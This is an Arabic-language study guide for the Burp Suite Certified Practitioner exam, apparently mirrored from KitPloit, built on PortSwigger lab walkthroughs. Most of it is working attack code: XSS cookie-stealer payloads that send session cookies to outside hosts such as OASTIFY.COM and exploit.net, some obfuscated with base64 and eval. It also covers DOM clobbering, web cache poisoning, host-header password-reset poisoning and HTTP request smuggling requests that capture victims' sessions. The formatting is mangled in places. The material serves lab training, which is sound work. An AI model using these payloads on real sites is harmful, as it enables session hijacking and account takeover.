[تجاوز قوائم حظر الأحرف باستخدام تجاوزات Unicode](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)  

#### بناءً على ما سبق، حمولته:```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}

نظرًا لأن كوكي جلسة المختبر الأصلية يحتوي على أعلام حماية، قام بإنشاء كوكي تجريبي dummy لإثبات المفهوم:

Adrián Gyurácz

بعد إرسال الحمولة في وظيفة البحث، حصلت على إصابة من أداة سرقة الكوكيز:

Adrián Gyurácz

آمل أن يجد الآخرون بحثه مفيدًا، وإدراجه في دليلي Tx.

مختبر PortSwigger: XSS منعكسة في قالب نصي مع أقواس زاوية، وعلامات اقتباس مفردة ومزدوجة، وشرطة مائلة عكسية، وعلامات backtick مُهرَّبة بنظام Unicode


XSS عبر JSON إلى EVAL

يُشغّل تطبيق اختبار الممارسة من PortSwigger وظيفة البحث، وتقوم DOM Invader بــتحديد نقطة التسرب في دالة eval(). تُوضع نتائج البحث في نوع محتوى JSON.

Dom Invader EVAL identify

اختبر الهروب من بيانات JSON وحقن حمولة اختبار "-prompt(321)-" في محتوى JSON.

json-injection-escape.png

محاولة الحصول على قيمة كوكي الجلسة الخاصة بنا بحمولة "-alert(document.cookie)-" ويتم إرجاع رسالة تصفية تنص على "Potentially dangerous search term".

تعمل جدار الحماية (WAF) على منع عوامل التصفية والوسوم الخطيرة، ثم نتجاوز مرشحات WAF باستخدام المتغيرات العامة في JavaScript.```JavaScript "-alert(window["document"]["cookie"])-" "-window"alert"-" "-self"alert"-"

root@kitploit:~
[secjuice: تجاوز فلاتر XSS باستخدام المتغيرات العامة في JavaScript](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)

> فيما يلي [حمولة سرقة ملفات تعريف الارتباط](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) الرئيسية قبل ترميزها بـ BASE 64.```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])

التالي هو ترميز الحمولة باستخدام قيمة Base64 المشفّرة لحمولة سارق ملفات تعريف الارتباط أعلاه.``` ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ==

root@kitploit:~
>اختبر الحمولة على كوكي الجلسة الخاص بنا في وظيفة البحث.```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

تفكيك مراحل تجميع الحمولة أعلاه:

  • استخدام دالة eval() يقيّم أو ينفّذ وسيطًا.
  • تُستخدم atob() أو btoa() كدالة للتشفير من وإلى سلاسل نصية بصيغة base64.
  • إذا تم حظر eval() فإليك البدائل:
    • setTimeout("code")
    • setInterval("code")
    • setImmediate("code")
    • Function("code")()

تُظهر هذه الصورة Burp Collaborator وهو يستقبل قيمة الكوكي الخاصة بي كإثبات للمفهوم قبل إعداد الحمولة إلى Deliver exploit to victim.

استقبال Burp collaborator لطلب يحتوي على قيمة كوكي base64 من إثبات المفهوم الخاص بنا.

ترميز URL لجميع الأحرف في هذه الحمولة واستخدم الناتج كقيمة لمعامل /?SearchTerm=.```html "-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

root@kitploit:~
>استضافة `IFRAME` على خادم الاستغلال، تعطي رسالة **خطأ** تفيد برفض الاتصال بالهدف. بدلاً من ذلك، استضف الحمولة على خادم الاستغلال بين وسمي `<script>`.```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

(تسليم XSS منعكسة لسرقة كوكي الضحية.

ملاحظة: قم Deliver exploit to victim عدة مرات إذا لم يرسل المستخدم النشط طلب HTTP إلى المتعاون. استبدل قيمة الكوكي الحالية بالكوكي المسروقة لانتحال شخصية المستخدم النشط وانتقل إلى المرحلة 2 من الامتحان التدريبي.

امتحان PortSwigger التدريبي - المرحلة 1 - موطئ القدم

Stored XSS

يمكن أن تكون الـ Stored XSS أيضًا Blind XSS. إذا لم يتم تشغيل حمولة التنبيه، راجع فيديو NahamSec عن blind xss الخاص بحمولة ليتمكن الضحية من النقر، مثال: <svg/onload=import('//EXPLOIT.net/blind_xss')>
إذا كان الإدخال المخزن يعيد توجيه الضحية التي تنقر على الروابط، فإنه يرسل طلبًا إلى خادم الاستغلال. استخدم الكود النموذجي التالي لتحديد stored XSS.```HTML

root@kitploit:~
> تسجل الإدخالات أدناه الطلبات المرسلة إلى خادم الاستغلال، ومن السجلات يمكننا ***تحديد*** أن `/img` و `/video` من الوسوم أعلاه كانا مسموحين في التطبيق وأحدثا طلبات عند الوصول إليهما.  

![Identify-stored-xss](https://assets.kitploit.com/production/public/readmes/51008/11465fd7f8106f2ba51ed5df21cfb6261aa41adc5f058ddfe98cb9e5b27862a9/1f1db7d901a945e9ac1d5a76beea620fcc1e4c0bf8c923b085aab3d631f1191d-display-v1.webp)  

> تم حفظ البرمجة النصية عبر المواقع في تعليق مشاركة المدونة. تعمل هذه الحمولة المسرقة لملفات تعريف الارتباط (Cookie Stealer) على إرسال كوكي الجلسة الخاصة بالضحية إلى سجلات خادم الاستغلال.```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">

البحث عن المنتج والمتجر```html ?productId=1&storeId=">

root@kitploit:~
#### منشور مدونة XSS المخزّن  

>منشور مدونة حول XSS المخزّن يسرق الكوكيز ويرسل كوكيز المستند (document cookie) إلى خادم الاستغلال.```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>

الهدف أدناه يحتوي على ثغرة XSS مخزنة في وظيفة تعليقات المدونة. قم بسرقة كوكي جلسة المستخدم الضحية الذي يشاهد التعليقات بعد نشرها، ثم استخدم الكوكي الخاصة به لانتحال الشخصية.

Stored XSS Blog post

Fetch API حمولة سرقة الكوكيز عبر JavaScript في تعليق منشور المدونة.```JavaScript

root@kitploit:~
>[IPPSEC YouTube باستخدام HackTheBox Bookworm](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737)، حيث يعرض كود JavaScript الخاص بـ `payload.js` وكيف يستخدم `fetch` ويتعلم JavaScript.  

[PortSwigger Lab: استغلال Cross-Site Scripting لسرقة الكوكيز](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)  

#### ترقية stored self-XSS  

>تعليق على مدونة يحتوي على **Stored self-XSS**، مع ترقية الحمولة لسرقة معلومات الضحية من DOM. الدالة **edit content** تعكس الإدخال داخل وسم `<script>`. رمز CSRF لوظيفة **write comment** هو نفسه الخاص بوظيفة **edit content**. الحمولة أدناه تستخدم وظيفة **write comment** لجعل الضحية ينشئ إدخال مدونة في مدونته الخاصة بمحتوى خبيث لدينا.
>الحرف `a` يُضاف للهروب من رمز `#` الموجود في `source code` الأصلي للتطبيق.
>إن `source code` أدناه في إدخال المدونة هو استغلال كامل لسرقة معلومات الضحية.```html
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>

يتم استغلال هذا الهدف عن طريق بناء حقن HTML يكتب فوق متغيّر باسم share_button، انظر source code أدناه، ويستخدم كود HTML أعلاه. ينعكس المحتوى على الصفحة، ثم عبر استخدام هذا الانعكاس يتم تمكين إعادة توجيه الصفحة إلى صفحة /edit الخاصة بالضحية باستخدام وسم meta http-equiv لتحديث الصفحة بعد ثانية واحدة، مما ينتج عنه إعادة التوجيه.

clobbering javascript variable``` https://challenge-1222.intigriti.io/blog/unique-guid-value-abc123?share=1

root@kitploit:~
>تسليم الاستغلال، عبر إرسال رابط يشير إلى إدخال المدونة أعلاه إلى الضحية سيؤدي إلى تشغيل XSS بصلاحياته.

[intigriti - ترقية Self-XSS - حل تحدي XSS ليوم 22 ديسمبر](https://youtu.be/FowbZ8IlU7o)

>استغلال بديل باستخدام حقن HTML في صفحة إدخال تحرير المحتوى بالمدونة، ***تم تحديده*** باستخدام [فحص موارد CSP الخاصة بـ XSS](#xss-resources).```
<base href="https://Exploit.net">

استضف ملف JS على خادم Exploit باسم static/js/bootstrap.bundle.min.js، بالمحتوى التالي:``` alert(document.getElementsByClassName("navbar-brand")[0].innerText)

root@kitploit:~
> الحمولة المعدّلة لمختبر PortSwigger تُسند دالة `document.location` إلى المتغير `defaultAvatar` في المرة التالية التي تُحمَّل فيها الصفحة، لأن الموقع يستخدم DOMPurify الذي يسمح باستخدام بروتوكول `cid:` الذي لا يرمّز علامات الاقتباس المزدوجة عبر URLencode.```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">

مختبر PortSwigger: استغلال DOM clobbering لتمكين XSS

XSS مخزّنة في DOM

في source code الخاص بـ JavaScript، وتحديدًا في السكربت المُضمّن resources/js/loadCommentsWithVulnerableEscapeHtml.js، نحدد دالة html.replace() داخل الدالة المخصصة loadComments. عند اختبار الـ payloads نلاحظ أن الدالة تستبدل أول ظهور فقط لـ <>.

استبدال كود dom-xss المخزّن```html <>

root@kitploit:~
>الحمولة أعلاه تُخزَّن، وأي مستخدم يزور مدونة التعليقات سيؤدي إلى سرقة ملف تعريف الارتباط الخاص بجلسته وإرساله إلى Collaborator.  

![تعليقات JSON المخزّنة لـ DOM-XSS](https://assets.kitploit.com/production/public/readmes/51008/371b3f9b43395a29db586e69d4de40acaf72b5b61a5389f8f86ae0110842d7e1/23d98eeda75f19599e87390856bc196ee3f430e6cb7de27b7a37889d816d3c08-display-v1.webp)  

>حمولة مختبر PortSwigger: `<>`.  

[مختبر PortSwigger: DOM XSS المخزّن](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)  
  
-----

## تسميم ذاكرة التخزين المؤقت للويب  

[ترويسة غير محسوبة في المفتاح](#unkeyed-header)  
[معامل Utm_content غير المحسوب في المفتاح](#unkeyed-utm_content)  
[إخفاء معامل utm_content](#cloaking-utm_content)  
[تسميم الطلب المُلتبس](#poison-ambiguous-request)  
[تسميم ذاكرة التخزين المؤقت عبر رؤوس متعددة](#cache-poison-multiple-headers)  

### ترويسة غير محسوبة في المفتاح  

>الهدف يستخدم JavaScript الخاص بـ **tracking.js**،  
>وهو عرضة لترويسة **```X-Forwarded-Host```** أو **```X-Host```** التي تعيد توجيه المسار،  
>مما يسمح بسرقة ملف تعريف الارتباط عن طريق تسميم ذاكرة التخزين المؤقت.  

>***حدد*** ترويسات ذاكرة التخزين المؤقت للويب في الاستجابة وسكربت tracking.js في كود مصدر الصفحة.  
>استغل الثغرة باستضافة JavaScript وحقن الترويسة لتسميم ذاكرة التخزين المؤقت للهدف لإعادة توجيه ضحية تزور الموقع.  

![مراجعة `source code` للتتبع](https://assets.kitploit.com/production/public/readmes/51008/576da9fd34237353a8d7695b97b4041c9168065b412a2334263ee1e6f2962d31/f6581f37b35c2e92a43a634c6e073da64d1a622c35e84f844bc9ca4a5a77b028-display-v1.webp)```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

tracking.js

الاستضافة على خادم الاستغلال، وحقن ترويسة X-Forwarded-Host في الطلب، وتسميم ذاكرة التخزين المؤقت حتى يصل الضحية إلى ذاكرة التخزين المؤقت المسمومة.``` /resources/js/tracking.js

root@kitploit:~
![exploit host tracking.js](https://assets.kitploit.com/production/public/readmes/51008/e84959203a80dc57141ea8ed26bb61337cfd29f5031069f68dce90f4baab3c72/9821e2ae37bc5b3fd487178962b5fc9c480b7c3fa8b2771c42952eaeee9999b2-display-v1.webp)  
  
>يقوم النص البرمجي بإرسال ملف تعريف الارتباط الخاص بالجلسة إلى خدمة التعاون.```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;

استمر في تسميم ذاكرة التخزين المؤقت للهدف عن طريق إعادة إرسال الطلب مع ترويسة X-Forwarded-Host.

x-cache-hit.png

PortSwigger Lab: تسميم ذاكرة التخزين المؤقت للويب باستخدام ترويسة غير مفتاحية

فيديو يوتيوب يعرض حمولة المختبر أعلاه على خادم الاستغلال المعدّل لسرقة ملف تعريف ارتباط الضحية عندما يصل الضحية إلى إدخال مخزّن مؤقتًا على الخادم الخلفي. الحمولة هي JavaScript أعلاه.

YouTube: تسميم ذاكرة التخزين المؤقت للويب باستخدام ترويسة غير مفتاحية - سارق ملفات تعريف الارتباط

إضافة Param Miner لتحديد ثغرات ذاكرة التخزين المؤقت للويب

utm_content بدون مفتاح

الهدف معرّض لتسميم ذاكرة التخزين المؤقت للويب لأنه يستبعد معاملًا معينًا من مفتاح التخزين المؤقت. ستعمل ميزة "تخمين معاملات GET" في Param Miner على تحديد المعامل على أنه utm_content.

انعكاس استعلام الكاش``` GET /?utm_content='/>

root@kitploit:~
>يتم تخزين الحمولة أعلاه في الكاش، ويتم إرسال كوكي الضحية الذي يزور الهدف إلى Burp Collaborator.  

![cache-collaborator.png](https://assets.kitploit.com/production/public/readmes/51008/e7510b596e4ed186603414d130d0375fc1342f92dace8cea3190a2008ccac2ef/34ccca95d585ad78a9688d7aea1d22a784fb3714c4f4cf000d428abf9f2d6810-display-v1.webp)  

[مختبر PortSwigger: تسميم ذاكرة التخزين المؤقت عبر معامل استعلام غير مفتاحي](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)  

### إخفاء utm_content  

>إضافة Param Miner التي تقوم بعمل `Bulk scan > Rails parameter cloaking scan` ستقوم ***بتحديد*** الثغرة تلقائيًا. يدويًا يمكن تحديدها بإضافة `;` لإلحاق معامل إضافي بـ `utm_content`، حيث يتعامل الكاش مع هذا كمعامل واحد. هذا يعني أن المعامل الإضافي يُستبعد أيضًا من مفتاح الكاش.  
>يتم استدعاء `الكود المصدري` الخاص بـ `/js/geolocate.js?callback=setCountryCookie` في كل صفحة وتنفيذ دالة الاستدعاء.  

>معامل `callback` هو معامل مفتاحي (keyed)، وبالتالي لا يمكن تسميم الكاش لمستخدم الضحية، ولكن من خلال دمج معامل مكرر مع `utm_content` فإنه يُستبعد ويمكن تسميم الكاش.```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

utm_content cache cloaking

حمولة التقاط الكوكيز الخاصة بإخفاء ذاكرة التخزين المؤقت أدناه، استمر في تسميم ذاكرة التخزين المؤقت حتى يصل الضحية إلى ذاكرة التخزين المؤقتة المخزنة.``` GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='%2bdocument.cookie%3b HTTP/2

root@kitploit:~
>فيما يلي حمولة [Url Decoded](https://www.urldecoder.org/).```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2

PortSwigger Lab: Parameter cloaking

تسميم الطلب الغامض

إضافة ترويسة Host ثانية مع خادم استغلال، هذا الأمر يحدد ثغرة تخزين مؤقت غامضة ويوجّه طلبك. لاحظ أن خادم الاستغلال في ترويسة Host الثانية ينعكس في عنوان URL مطلق يُستخدم لاستيراد سكربت من /resources/js/tracking.js.```html Host: TARGET.net Host: exploit.net

root@kitploit:~
>على خادم الاستغلال، ضع ملفًا بنفس المسار الذي يستدعيه الهدف إلى ```/resources/js/tracking.js```، سيحتوي هذا على الحمولة. ضع كود الحمولة بـ JavaScript أدناه لإنشاء سارق ملفات تعريف الارتباط.```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

المضيفات الغامضة

مختبر PortSwigger: تسميم ذاكرة التخزين المؤقت عبر الطلبات الغامضة

تسميم ذاكرة التخزين المؤقت برؤوس متعددة

حدد رؤوس إصابة ذاكرة التخزين المؤقت في الاستجابات،
ثم اختبر ما إذا كان الهدف يدعم رؤوس X-Forwarded-Host أو X-Forwarded-Scheme.
يمكن أن تسمح هذه الرؤوس بسرقة ملف تعريف ارتباط الجلسة الخاص بالضحية.

حدد ما إذا كانت إضافة الرأسين Forwarded إلى طلب GET /resources/js/tracking.js تؤدي إلى تغيير في رأس استجابة location. هذا يحدد التسميم الإيجابي لذاكرة التخزين المؤقت برؤوس متعددة.```html GET /resources/js/tracking.js?cb=123 HTTP/2 Host: TARGET.net X-Forwarded-Host: EXPLOIT.net X-Forwarded-Scheme: nothttps

root@kitploit:~
![x-forwarded-scheme ليس https](https://assets.kitploit.com/production/public/readmes/51008/6308ae06f8ce9ba48fa18b411594c8167f6ef048396812940710574b4ca08e92/6584ce6158a913edd0f321d0f2bb297fcf620a934c1851ca398cd3967b0658af-display-v1.webp)  

>على خادم الاستغلال، غيّر مسار الملف إلى `/resources/js/tracking.js`  
>ثم حدّث ترويسة طلب التسميم `X-Forwarded-Host: EXPLOIT.net`.  
>ضع الحمولة في جسم خادم الاستغلال.```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;

قم بإزالة مُبطل الكاش cb=123، ثم سمّم الكاش حتى تتم إعادة توجيه الضحية إلى خادم الاستغلال tracking.js لسرقة كوكي الجلسة.

مختبر PortSwigger: تسميم الكاش عبر رؤوس متعددة

تسميم المعامل المكرر

حدد أن التطبيق معرّض للتسمم بالمعامل المكرر، وذلك بإضافة معامل ثانٍ بنفس الاسم بقيمة مختلفة، فعكست الاستجابة القيمة المحقونة.

كود مصدر countrycode``` GET /js/geolocate.js?callback=setCountryCookie&callback=FUZZERFunction; HTTP/2

root@kitploit:~
>الدالة التي يتم استدعاؤها في الاستجابة عن طريق تمرير معامل استدعاء مكرر تنعكس. لاحظ في الاستجابة أن مفتاح التخزين المؤقت لا يزال مشتقًا من معامل الاستدعاء الأصلي في سطر طلب GET.

![fat-get-request](https://assets.kitploit.com/production/public/readmes/51008/7f9468b57a1367f83a2dc7a3b2eba41537c5b8ce237e3e298b0f296c77fd2c48/cde14e3ec33e74e482c7f19fb227218fbaf8ff632551a4f3f37021b99875aa7f-display-v1.webp)

>غير قادر على جعل حمولة سرقة الكوكيز تعمل......

[مختبر PortSwigger: تسميم ذاكرة التخزين المؤقت للويب عبر طلب GET بحمولة](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)

-----

## ترويسات المضيف

[انتحال عنوان IP](#spoof-ip-address)
[حالة اتصال المضيف](#host-connection-state)
[SSRF القائم على توجيه المضيف](#host-routing-based-ssrf)
[SSRF عبر تحليل طلب المضيف المعيب](#absolute-get-url--host-ssrf)

### انتحال عنوان IP

>***تعرّف*** على أن ترويسات المضيف المعدّلة مدعومة،  
>وهو ما يسمح لك بانتحال عنوان IP وتجاوز حماية القوة الغاشمة القائمة على IP  
>أو هجمات إعادة التوجيه للقيام بتسميم ***إعادة تعيين كلمة المرور***.

>قم بتضمين ترويسات `X- ` أدناه وغيّر معامل اسم المستخدم في طلب إعادة تعيين كلمة المرور إلى `Carlos` قبل إرسال الطلب.  
>في اختبار BSCP، إذا استخدمت هذا الاستغلال فهذا يعني أنك لم تستخدم ثغرة تتطلب تفاعل المستخدم وتسمح لك باستخدام ثغرة تفاعلية للوصول إلى المرحلة 3 كمسؤول باستخدام وظيفة خادم الاستغلال `Deliver exploit to victim`.```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net

نصائح وملاحظات من fullfox:

  • عند انتحال ترويسة المضيف في إعادة تعيين كلمة المرور باستخدام Host: أو X-Forwarded-Host:، إذا تلقيت الخطأ Invalid hostname، جرّب استخدام اسم المضيف التالي: xxx.oastify.com?TARGET.net عنوان الهدف الشرعي دون شرطة مائلة.

تحقق من سجل خادم الاستغلال للحصول على رابط إعادة التعيين الخاص باسم مستخدم الضحية.

سجلات خادم الاستغلال تلتقط رمز إعادة تعيين كلمة المرور المنسية

مختبر PortSwigger: تسميم إعادة تعيين كلمة المرور عبر الوسيط

حالة اتصال HOST

الهدف معرّض لـ SSRF القائم على التوجيه عبر ترويسة Host، لكن تحقق من حالة اتصال الطلب الأول. إرسال الطلبات المجمّعة بالتتابع باستخدام اتصال واحد وتعيين ترويسة الاتصال إلى keep-alive يتجاوز التحقق من ترويسة المضيف ويمكّن من استغلال SSRF للخادم المحلي.```html GET / HTTP/1.1 Host: TARGET.net Cookie: session=ValueOfSessionCookie Content-Length: 48 Content-Type: text/plain;charset=UTF-8 Connection: keep-alive

root@kitploit:~
>الطلب التالي هو التبويب الثاني في تسلسل مجموعة الطلبات.```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53

csrf=TheCSRFTokenValue&username=carlos

لاحظ أن الطلب الثاني نجح في الوصول إلى لوحة الإدارة.

single connection

PortSwigger Lab: Host validation bypass via connection state attack


HTTP Request Smuggling

بنية تتكون من خادم أمامي وخادم خلفي، ولا يدعم الخادم الأمامي أو الخلفي الترميز المجزأ (HEX) أو content-length (Decimal). تجاوز ضوابط الأمان لاسترجاع طلب الضحية واستخدم ملفات تعريف الارتباط الخاصة بمستخدم الضحية للوصول إلى حسابه.

TE.CL dualchunk - Transfer-encoding obfuscated
TE.CL multiCase - Admin blocked
CL.TE multiCase - Admin blocked
CL.TE multiCase - Content-Length Cookie Stealer
CL.TE multiCase - User-Agent Cookie Stealer
HTTP/2 smuggling - CRLF injection Cookie Stealer
HTTP/2 TE - Admin Cookie Stealer

TE.CL dualchunk - Transfer-encoding obfuscated

إذا كانت الأسماء المكررة للترويسات مسموحًا بها، وتم اكتشاف الثغرة على أنها dualchunk، فقم بإضافة ترويسة إضافية بالاسم والقيمة = Transfer-encoding: cow. استخدم تقنيات الإخفاء مع TE الثانية.``` Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding : chunked

Transfer-encoding: identity Transfer-encoding: cow

root@kitploit:~
>يمكن حث بعض الخوادم التي تدعم ترويسة `Transfer-Encoding` على عدم معالجتها إذا كانت الترويسة **مبهمة** بطريقة ما.  

>من قائمة Repeater تأكد من أن خيار **"Update Content-Length"** غير محدد.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity

e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n  
\r\n
  

GPost: إخفاء ترويسة TE

ملاحظة: يجب تضمين التسلسل اللاحق \r\n\r\n بعد 0 النهائي.

مختبر PortSwigger: تهريب طلبات HTTP، إخفاء ترويسة Transfer-Encoding (TE)

أتساءل كم مرة يحدث هذا السيناريو حيث يتمكن المخترق من سرقة طلب المستخدم الزائر عبر ثغرة HTTP Sync؟

TE.CL multiCase - حظر المسؤول

عند محاولة الوصول إلى مسار بوابة /admin، نحصل على رسالة الفلتر: Path /admin is blocked. ماسح HTTP Request Smuggler يحدد الثغرة على أنها TE.CL multiCase (delayed response). ملاحظة: نظرًا لأن الخادم الخلفي لا يدعم ترميز chunked، قم بإيقاف تشغيل Update Content-Length في قائمة Repeater.

بعد تعطيل تحديث طول المحتوى تلقائيًا، والتحويل إلى HTTP/1.1، أرسل الطلب أدناه مرتين، مع إضافة الترويسة الثانية Content-Length: 15 لمنع تعارض ترويسة HOST مع الطلب الأول.
ملاحظة: يجب تضمين التسلسل اللاحق \r\n\r\n بعد 0 النهائي.

الإصلاح اليدوي لحقول الطول في هجمات تهريب الطلبات يتطلب أن يكون حجم كل chunk بالبايت معبرًا عنه بـ سداسي عشري، وContent-Length يحدد طول نص الرسالة بالـ بايت. تتبع الـ chunks بـ سطر جديد، ثم تتبعها محتويات الـ chunk. تنتهي الرسالة بـ chunk بحجم صفر.```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked

71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15

x=1 0

root@kitploit:~
>حساب طول طلب تهريب TE.CL (Transfer-Encoding / Content-Length) بصيغة **HEXADECIMAL**، والحمولة تقع بين الطول السداسي العشري **71** وعلامة **ZERO** الختامية، دون تضمين ZERO وبدون `<CRLF>` السابق في السطر الذي يعلو ZERO كجزء من الطول. يتم تعيين **content-length** لطلب POST الأولي يدويًا.

![te.cl.multicase-smuggle.png](https://assets.kitploit.com/production/public/readmes/51008/1ba4fcdba70b77eb05e5b842e9ccb5f0e6186fd825b79abf19162bd48c9a2ac4/15d1da97f267f46bc4705095cdb83f12de63d795dda71ebcf1964a4fb5b59c3c-display-v1.webp)

>عند إرسال `/admin/delete?username=carlos` لحذف المستخدم، يتغير طول ترميز النقل (transfer encoding) من `71` إلى القيمة السداسية العشرية `88` لتضمين حجم الطلب المُهرَّب الإضافي.

[PortSwigger Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)

### CL.TE متعدد الحالات - Admin محظور

>عند محاولة الوصول إلى مسار URL الخاص ببوابة `/admin`، نحصل على رسالة التصفية `Path /admin is blocked`. يحدد ماسح HTTP Request Smuggler ***الضعف*** على أنه `CL.TE multiCase (delayed response)`.

>للوصول إلى لوحة الإدارة، أرسل الطلب أدناه مرتين، مع إضافة الترويسة الثانية ```Content-Length: 10``` لمنع تعارض رأس HOST مع الطلب الأول.```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

عند إرسال الطلب للمرة الثانية، يتم إرجاع بوابة الإدارة في الاستجابة.

cl.te multicase admin blocked

مختبر PortSwigger: استغلال تهريب طلبات HTTP لتجاوز ضوابط الأمان في الواجهة الأمامية، ثغرة CL.TE

CL.TE multiCase - Content-Length

Content-Length كبير لالتقاط طلبات الضحية. إرسال طلب POST مع طلب مُهرّب ولكن طول المحتوى أطول من الطول الحقيقي، وعندما يتصفح الضحية، يتم إرسال قيمة جلسته عبر ملف تعريف الارتباط إلى تعليق blob. تمت زيادة Content-Length لطلب نشر التعليق إلى 798، ثم تم تهريب طلب POST إلى الخادم الخلفي.```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-Length: 242 Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: session=HackerCurrentCookieValue

csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c

root@kitploit:~
![استغلال تهريب طلبات HTTP بقيمة content-length](https://assets.kitploit.com/production/public/readmes/51008/4c173fff1dc7b0ef15f53dfcdcf0f0ad0b926b458a9ab2b0790631732ff10a69/954092c78d1a623e56e178135eed6d20e3c629219cd2847ad95427033e176864-display-v1.webp)  

>لا يوجد سطر جديد في نهاية طلب POST المُهرَّب أعلاه^^.  

>انظر إلى **منشور** المدونة لمعرفة ما إذا كان هناك تعليق يحتوي على طلب مستخدم. لاحظ أن الهجوم لن ينجح إلا بعد أن يتصفح المستخدم الضحية موقع الهدف. انسخ ترويسة Cookie الخاصة بالمستخدم من تعليق منشور المدونة، واستخدم الكوكي للوصول إلى حساب الضحية.  
  
